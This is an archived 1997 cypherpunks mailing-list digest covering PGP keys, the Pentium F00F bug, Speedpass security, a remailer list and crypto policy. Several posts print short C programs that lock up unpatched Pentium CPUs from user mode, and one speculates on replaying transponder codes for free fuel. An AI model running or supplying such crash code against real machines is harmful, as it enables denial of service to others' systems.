> Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>

=====================================================================
Donald E. Eastlake 3rd     +1 978-287-4877(tel)     dee@cybercash.com
   318 Acton Street        +1 978-371-7148(fax)     dee@world.std.com
Carlisle, MA 01741 USA     +1 703-620-4200(main office, Reston, VA)
http://www.cybercash.com           http://www.privacy.org/ipc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 10 Nov 1997 16:51:32 +0800
To: cypherpunks@toad.com
Subject: To: Amad3us Re: Your keys
In-Reply-To: <v03102809b0810793884b@[207.167.93.63]>
Message-ID: <3.0.3.32.19971109155117.006f1050@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I tried adding Amad3us's key to my PGP5.0 keyring,
and got a dialog box saying
	PGP failed to add the key(s) to your keyring

Is this really you correct key?  What are your
KeyID, fingerprint, and a keyserver that has your key?

	Thanks;  Bill

At 08:25 PM 11/01/1997 +0100, An Anonymous Poster wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
.....
>Amad3us
>
>-----BEGIN PGP SIGNATURE-----
>iQCVAwUBNFt6ffKMuKFNFivhAQHagwP8DiNphzTEBFIxjMfuk0GMoTaSwY4Etjyb
>Q234GnFkf5iqWgRsDnNJWeiQzfli9EV+/5xA/eY80N+AQxbln6eFwkG8U9btMoqS
>Y7NCNwU6tDSckAOSSPOtdikZBxrNclW7ZK0ueuuHvFZGx5ciWCUBbx6bcxzphmhl
>bWPRWC/asbc=
>=I0Qy
>-----END PGP SIGNATURE-----
>-----BEGIN PGP PUBLIC KEY BLOCK-----
>mQCNAzRbd7MAAAEEAONwsEpUgiezyfP6lxBzM5SfHJS6MK12JyR09KBZp2rrW680
>4vbKAO/oteftRRM1jYYaQM6pUd2Tbb9z+cSuQGr2GH9kQ0Y7bllh89E1PItj7frG
>ARSCbt1gbbXDXEICY8Ne1zZB7FfMt2qGVBdrKG/i2vfdZa5+n/KMuKFNFivhAAUR
>tCNBbWFkM3VzIDxjeXBoZXJwdW5rc0BjeWJlcnBhc3MubmV0Pg==
>=6dKS
>-----END PGP PUBLIC KEY BLOCK-----
>

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 10 Nov 1997 06:38:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re: WARNING: Serious Pentium Bug
Message-ID: <a234f0adb3ba47b745bd58db33237e21@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@invweb.net> wrote:

>For the same reason Intel does nothing about any of thier bugs: they are
>assholes. The only way any of these type of things are ever addressed is
>by enough users putting pressure on Intel to fix their fuckups. (Really
>slopy not testing the microcode)

Yeah. A conspiracy theorist might be prompted to theorize that Intel
deliberately placed this in their processor, took a chance that nobody else
would find it and publically release it, and then leaked the information
themselves. If they refuse to replace the P5s many people will upgrade to a
PPro or a P5. Of course Cyrix and AMD throw a wrench into this theory, but
I doubt there are a whole lot of people who won't be buying any more Intel
products due to this, and some of the clones have or did have big problems 
such as annoyingly slow FPUs.

If they don't make it extraordinarily easy for me to replace my processor
I'll probably be one of the people who falls into the latter catagory and
goes off to Cyrixland.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 10 Nov 1997 13:57:56 +0800
To: cypherpunks@cyberpass.net
Subject: pentium bug/microprocessor design
In-Reply-To: <199711091525.JAA10950@dfw-ix16.ix.netcom.com>
Message-ID: <199711100200.SAA08396@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I've been having a brief discussion with someone on this list about
the pentium flaws. for those of you who don't know,
there's actually a minor crisis brewing in
chip design. Intel probably tests their chips 
more rigorously than just about anybody. 

the crisis is
that because of the enormous increasing complexity of
individual chips, it's becoming statistically impossible
to completely test them. that is, as much as people want
to curse Intel for their bugs, it's actually the case
that they've been ahead of the curve as much as possible
in testing. 

there are new schemes in the
works by which Intel etc. are trying to deal with this,
including a remarkable scheme in which new microcode
can be downloaded to the chip. it also involves encryption
in which one needs to know the encryption mechanism for
the chip to accept the new instructions. apparently it's
done in such a way that no one except those who know the
encryption can successfully alter the chip.

but this does raise a lot of cypherpunk issues such as
about reverse engineering etc.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 10 Nov 1997 10:36:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: cute.
In-Reply-To: <3.0.3.32.19971101165942.0365b498@mail.atl.bellsouth.net>
Message-ID: <v03102801b08c13dc4f16@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:17 PM -0700 11/9/97, Bill Stewart wrote:
>>>What's the point in distribuing your public key through the same
>>>channels as a signature? Kinda defeats the purpose. Esp since I can't
>>>verify that the given public key is indeed yours, since you're anonymous.
>
>As Robert and Tim point out, the important issue is that
>you can tell that a posting claiming to be from "Amad3us"
>is or is not by the same set of authors as the previous
>articles by the pseudonym "Amad3us".  This allows authors
>to create and defend "reputation capital", and allows readers
...

And several days ago someone said, basically, "Fine, but this is only
needed once, and shouldn't be sent more than once...blah blah"

Well, each new entrant into the "cycle" is like a first time viewer or
receiver of this signature information.

I'm not saying a public key block should accompany all posts--the
keyservers work for that--but there is certainly no harm done.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Mon, 10 Nov 1997 13:57:51 +0800
To: "Vladimir Z. Nuri" <cypherpunks@cyberpass.net
Subject: Re: pentium bug/microprocessor design
In-Reply-To: <199711091525.JAA10950@dfw-ix16.ix.netcom.com>
Message-ID: <3.0.3.32.19971109191311.00696508@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713749.multipart/signed"

--Boundary..3986.1071713749.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 06:00 PM 11/9/97 -0800, Vladimir Z. Nuri wrote:
>there are new schemes in the
>works by which Intel etc. are trying to deal with this,
>including a remarkable scheme in which new microcode
>can be downloaded to the chip. it also involves encryption
>in which one needs to know the encryption mechanism for
>the chip to accept the new instructions. apparently it's
>done in such a way that no one except those who know the
>encryption can successfully alter the chip.

Of course, this means that your least favorite TLA can introduce whatever
"features" they desire on your machine if they can install a Trojan horse
or virus on it...any security through obscurity scheme should be assumed to
be known by the government.



Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713749.multipart/signed
Content-Type: application/octet-stream; name="pgp00004.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00004.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5HWjhjc0pGMGtYcXB3
M01FUUt2aVFDY0Qrcm1FRTdTbHU2MTV1Q2dDT3JQejBhRVhDZ0FvSzBWCmY5
clRlTE9TL2FjeGcyeE8wQjZlY3FCNgo9eko3TQotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713749.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Fiero <rfiero@pophost.com>
Date: Mon, 10 Nov 1997 13:57:38 +0800
To: cypherpunks@toad.com
Subject: Re: Kill -9.9
In-Reply-To: <199711092157.WAA14309@basement.replay.com>
Message-ID: <199711100336.UAA15157@pophost.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> .
> .
>The government is using Anti-Trust actions to muscle both computer
>giants.
>A million dollar a day assault on MicroSoft . . .
>
>KillMonger 

Yeah, for a company of $7 million per day profit it oughta be $7 + $1 = $8
million per day.
-- Richard Fiero





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 10 Nov 1997 13:57:33 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199711100352.TAA23129@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Monday, November 10, 1997 - 04:25:17 MET

The following is from http://www.mobil.com/speedpass/

Note that I've only quoted the parts I think are relevent
to a security discussion...

---begin quote---

How does Mobil Speedpass work?

Speedpass uses an electronic system located in the pump to 
"talk" with a miniature radio-like device (a transponder). Together, 
these electronic devices provide "instant" access to gasoline 
by automatically charging fuel purchases to the credit card you've 
selected. The technology is similar to the state-of-the-art 
technology successfully used by many tollways.

What happens if my Speedpass is lost, stolen or damaged?

Treat it just like a credit card. Immediately notify our Service Center at 
1-800-459-2266. Tell us your name or Speedpass number. And we'll cancel your 
old Speedpass and send you a new one right away. You should write down your 
Speedpass number (8 digits on tag) and keep it in a safe place.

Is there a pin code with my Mobil Speedpass?

No.

Can other people intercept the transmission of my credit card number?

No. The Speedpass system operates on a dedicated transponder 
identification code. Your credit card code remains outside the Speedpass 
signal system, maintaining the confidentiality of that information and 
protecting your account from unauthorized use.

---end quote---

I see several options, none seem too secure:

1) "dedicated transponder identification code" (dtic from now on) is
    sent in the clear. Anyone who can listen and re-transmit
    can get free gas.
2) Speedpass and the gas pump negotiate DH key exchange
    and use DES/RC5/IDEA/Whatever. Anyone who can
    impersonate a gas pump can gain access to dtics and
    get free gas.
2) Gas pumps have an RSA keypair, and all of the speedpasses
    know the public key. The dtic is encrypted to the 
    gas pump's key along with some random data. Anyone
    who can compromise the gas pump's private key
    (including service station operators/employees?)
    can imitate a gas pump and get dtics, with which to
    get free gas.

The third option seems pretty secure at first, until you
realize that it's like putting all of your eggs in one basket
and giving thousands of people physical access to the basket.

Anybody know how they are actualy doing it? Is there
some more secure way I haven't thought of?

-Some anonymous guy with no 'nym





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Mon, 10 Nov 1997 03:00:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: WARNING: Serious Pentium Bug
Message-ID: <199711091855.TAA23477@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>Anonymous <anon@anon.efga.org> wrote:
>>There is a SERIOUS bug in all pentium CPUs. The following
>>code will crash any machine running on a pentium CPU, MMX or no
>>MMX, any speed, regardless of OS (crash as in instant seize, hard
>>reboot the only cure):
>>
>>char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>>
>>main ()
>>{
>>       void (*f)() = x;
>>       f();
>>}
>>
>>This require no special permissions to run, it works fine with
>>average-joe-userspace permissions. I have verified this, it works.
>>Demand a new CPU from Intel.
>
>This didn't crash my Pentium.  Hoax?

Absolutely not. It crashed mine and is a major bug. It doesn't seem to
affect the PPro, though, and not the P2 due to its relation to the PPro. It
might be fixed in later Pentiums, which begs the question of why Intel
didn't issue a recall back then. Supposidly they were informed about it
months ago.

Read comp.sys.intel.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 10 Nov 1997 13:57:29 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: WARNING: Serious Pentium Bug
In-Reply-To: <199711091855.TAA23477@basement.replay.com>
Message-ID: <199711100431.EAA00232@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Anonymous wrote:
> >Anonymous <anon@anon.efga.org> wrote:
> >>There is a SERIOUS bug in all pentium CPUs. The following
> >>code will crash any machine running on a pentium CPU, MMX or no
> >>MMX, any speed, regardless of OS (crash as in instant seize, hard
> >>reboot the only cure):
> >>
> >>char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> >>
> >>main ()
> >>{
> >>       void (*f)() = x;
> >>       f();
> >>}
> >>
> >>This require no special permissions to run, it works fine with
> >>average-joe-userspace permissions. I have verified this, it works.
> >>Demand a new CPU from Intel.
> >
> >This didn't crash my Pentium.  Hoax?
> 
> Absolutely not. It crashed mine and is a major bug. It doesn't seem to

Crashed mine, too. The following piece of code does the same thing
but compiles cleaner:

char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };

main ()
{
       void (*f)() = (void (*)())x;
       f();
}

> affect the PPro, though, and not the P2 due to its relation to the PPro. It
> might be fixed in later Pentiums, which begs the question of why Intel
> didn't issue a recall back then. Supposidly they were informed about it
> months ago.
> 
> Read comp.sys.intel.
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 10 Nov 1997 06:11:22 +0800
To: cypherpunks@toad.com
Subject: Kill -9.9
Message-ID: <199711092157.WAA14309@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Eric Cordian wrote:
> In the discussion of the Intel F00FC7C8 problem, it was alleged that
> the instruction "unlk a7" will lock up a Motorola 68040 CPU even from
> user mode.

> Is anyone aware of non-privileged instructions which kill other popular
> CPUs, like Alphas, SPARCS, and MIPS?

In a world where government agencies using fear of the 'enemy' and
bragging about their 'dirty tricks' to gain increasing funding, I 
am surprised that few seem to realize that many of the 'bugs' are 
actually 'features,' and that when one finds a true, non-designed bug 
in major hardware or software, there are certain government agencies
which may pay handsomely for the information, depending on the potential
and obscurity of the bug.
In a world where the value of 'tracking chips' and 'kill switches' on
personal automobiles is recognized, does anyone truly believe that
government agencies with billions of dollars worth of funding have
not recognized and instituted this technology surrupticiously in the
same areas where they brag about introducing 'faulty parts' into
weapons systems?

The government is desperate to maintain their electronic snooping and
warfare abilities as Year2000 approaches.
Hardware & Software == Intel & MicroSoft == VX-Chip & GAK/GMR

The government is using Anti-Trust actions to muscle both computer
giants.
A million dollar a day assault on MicroSoft, and release of compromising
'bug' information to put the squeeze on Intel.

KillMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 10 Nov 1997 13:53:55 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <ee060f3a0e4bf55a83116f8e795b2216@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



In the grand tradition of RSA-in-3-lines-of-perl, we present
Crash-A-Pentium-in-44-characters:

   main(){int i=0xc8c70ff0;void (*f)()=&i;f();}

- f00fie





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 10 Nov 1997 14:13:40 +0800
To: cypherpunks@cyberpass.net
Subject: Australian banks using uncracakble IDEA!
Message-ID: <312e1ae944182fdff692ebfb31299567@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain





                     Conflicting agendas cloud
                     accord on internet trading

                            By John Davidson 

http://www.afr.com.au/content/971110/inform/inform3.html

Banks will lose their shirts; retailers will go bust if the import tax
threshold isn't lowered; retailers will go bust if the threshold isn't
raised; individuals will be monitored by a person or persons
unknown; the Tax Office will kill it first, or maybe it won't. 

These are just some of the often strange and always contradictory
claims heard by the Joint Parliamentary Committee of Public
Accounts during the Sydney leg of its inquiry into internet commerce
last week. 
[...]
One expert witness, who said he had been involved in the
establishment of the internet more than 20 years ago, testified that
internet commerce should be banned because the speed and
security of the network had barely improved in the last decade. 

Modem speeds, said Richard Marschall from Marschall Acoustics,
were still limited to 9600bps (contrary to the claims of ISPs and
modem makers, which offer speeds of around 50kbps) and using the
internet was still grossly inefficient compared to putting a disk in
the post. 

Worse, 90 per cent of all internet bandwidth was used to (slowly,
one presumes) download pornography. 

Claims that the internet could be used for serious business were
also grossly inflated, he said. 

Dr Marschall said that any banks that chose to use the internet for
commerce would "lose their shirts" because the security of the
internet was so poor. 

The cryptography relied on by banks to scramble data on the public
network could readily be cracked, he said, because law enforcement
agencies refused to let people use strong versions of the software
for fear of it falling into the hands of criminals. 

(Those Australian banks that offer Web banking sites do, in fact,
use a strong form of cryptography known as IDEA, which is thought
to be effectively uncrackable.) 

"The internet (is) an ideal media (sic) for fraud and other unethical
practices," he said in his submission. 

"It is not clear if there is any fix for these problems -- short of
pulling the plug and banning internet commerce. Commercial
transactions were banned for the first 15 years of the internet's
existence for precisely these reasons." 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 10 Nov 1997 08:37:10 +0800
To: cypherpunks@toad.com
Subject: Key Signing
Message-ID: <199711100021.BAA03513@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


Bill Stewart wrote:
> 
> In particular, if you publish the key with your first posting,
> then you can demonstrate later that you're the poster who
> used that name.  Thus, Checkered Daemon announced his nym with
> a key, and since I could find no other record of use of that name,
> I was willing to sign that key 0x50EC521D as his (I do use
> a separate key for signing nyms; I've signed them for a few other
> people such as Black Unicorn, some of whom I've since met in person.)
> You can also get similar results by posting your key fingerprint
> in your messages and sending the key to a keyserver, and it's
> a bit more compact, but for a first posting using a nym
> it's worthwhile to include the key.

Excellent advice, Bill!
I am including the key (below) for my new nym, which has not been used
before, and would like for people to sign it and send the signed key
to the list.
This way, people will know by the signature, that it is, indeed:

Necessarily Knot, ME

- -----BEGIN PGP MESSAGE-----
Version: 2.6.2

lQD4AzRmZWoAAAECAMnJrqd/TERCLeFscdgNvwVxrVG4tRm0VThMEXXkctCGMaUD
jcETxcV0ZseRUcyUKfqlLd3CRsIwClozlWHHR7EABREAAfwJ5D1Ecilit/Mwsn4N
GcWZXWpg3mM6/Epzs2pEhi3I926ZiWPB1DKmdZR4nVemsnwv47SWLJyCnE4sben5
h8oHAQDTFaJDJSN7+9NToOE4NFiruAXXMIHEQ6ZH21oW1sYSiwEA9LmhvfahDVKo
1/CMtxxozAtG8rWycBYVIVrkDKiVgjMBAKeB2VY/f7tzmv7KxUUtN9607+CQlWPp
E3HBLTlwtuRAUxC0FU5lY2Vzc2FyaWx5IEtub3R0LCBNRQ==
=caeb
- -----END PGP MESSAGE-----


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBNGZSSApaM5Vhx0exAQHWcQH/VHc1j8RenSUsPd+UJMCcrPWS5Euu+VVn
hD4zGvaJ9irsyh1eKDLbMOUO5dOwxQuOQGDI5rB6cRuoh9ULdQjQyw==
=c+x0
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Crypto Czar International <cci@dev.null>
Date: Mon, 10 Nov 1997 18:32:20 +0800
To: cypherpunks@toad.com
Subject: Words To Live By...
In-Reply-To: <199711100815.AAA19950@jimmy.djc.com>
Message-ID: <3466DE7A.6648@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



=========================================================
  Q. What's the motto of the "Man-Will-Never-Fly Society"?
  A. "Birds Fly, Men Drink."
 =========================================================
 
 LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
 http://www.LMBoyd.com/postscript.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@kiwi.cs.berkeley.edu>
Date: Mon, 10 Nov 1997 23:03:58 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199711101450.GAA02742@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:03:45  99.86%
nym      config@nym.alias.net             +*#**#**###       :34  95.82%
redneck  config@anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster@remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix@squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias@alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer@replay.com              ****   ***      10:06  94.93%
arrid    arrid@juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer@bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer@anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer@cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock@rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer@neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez@juno.com                               4:58:22 -36.97%
reno     middleman@cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 10 Nov 1997 21:36:44 +0800
To: cypherpunks@toad.com
Subject: Crypto Statements
Message-ID: <1.5.4.32.19971110133229.00719e1c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



In November 8 Congressional Record:

Rep. DeLay calls for a new encryption policy:

   http://jya.com/delay-crypto.txt  (12K)

Sen. Murray supports US encryption exports:

   http://jya.com/murray-crypto.txt  (6K)

Sen. Abraham asks that high technology and encryption be freed 
from Washington interference:

   http://jya.com/abra-crypto.txt  (13K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 11 Nov 1997 01:06:41 +0800
To: cypherpunks@toad.com
Subject: President's critical infrastructure commission and crypto
Message-ID: <Pine.GSO.3.95.971110084954.27719C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sat, 08 Nov 1997 20:36:10 -0500
From: Kawika Daguio <KDAGUIO@aba.com>
To: fight-censorship-announce@vorlon.mit.edu, declan@well.com
Subject: FC: President's critical infrastructure commission and crypto -Reply

I worked with the PCCIP and the National Security Telecommunications Advisory Council on their recent infrastructure assurance reports.  The financial sector received high marks and won praise from both groups.
We shared more information about ourselves and our systems than anyone other than the regulators have ever seen.  The investigators were impressed, as would you be if you were to see the unreleased parts of the report.    I expect, however, that much of the report will never be released.

Some of the information we shared included pictures, and physical locations (addresses, floor diagrams), and network diagrams 
identifying payment system and other financial sector traffic and infrastructure.  These kinds of data were shared only because of the protective terms of the information sharing understandings.  This information will not be made public as long as it remains sensitive.  Other information about the specific security infrastructures or the typical security infrastructures employed by banks and the ways we prevent, detect, contain, and pursue compromises is also sensitive.

I would hope that those seeking information about the unreleased portions of the report recognize our interest in protecting sensitive information.

******
my opinion
my employer's may differ
******
kawika daguio






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 10 Nov 1997 15:57:12 +0800
To: cryptography@c2.net
Subject: Crypto smartcard demo at the monthly meeting
Message-ID: <Pine.BSF.3.96.971110085905.17153C-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



It seems that everybody had fun watching my smartcard demo at this month's
Cypherpunks meeting. It certainly generated a lot of interest in this, to
many US programmers still novel, technology.

I sincerely hope that the attendees walked away with more than the
realization, as you saw in my demonstration, that a 16 bit keyspace is not
cryptographically secure. :-)

On behalf of the Cypherpunks Smartcard Developer Association, I would like
to again issue a call for smartcards and smartcard Programmer Reference
Manuals. Without both, it will be difficult to move our research forward
in a timely fashion. If you have access to either, especially to those
made by Siemens or Bull, please contact me. Anonymous donations are
encouraged.

We also need inverse readers and serial port sniffers that do not affect
the traffic on the serial port. Pointers to commercial sources are
welcome. Schematics or better yet donations are preferred.

Furthermore, I would like everybody interested in obtaining one of the
universal smartcard readers used in the demo to contact me. Given enough
interest, I volunteer to coordinate another production run.

Thanks,



-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 10 Nov 1997 23:27:44 +0800
To: cypherpunks@toad.com
Subject: Judge's First InterNet Decision!!!
Message-ID: <34672513.770@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: cypherpunks@toad.com

A SIMPLE CHEMICAL CAN KEEP YOU ERECT!!!

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     The researchers found a shortage of this chemical would keep a 
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     Order Dept.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 10 Nov 1997 18:14:39 +0800
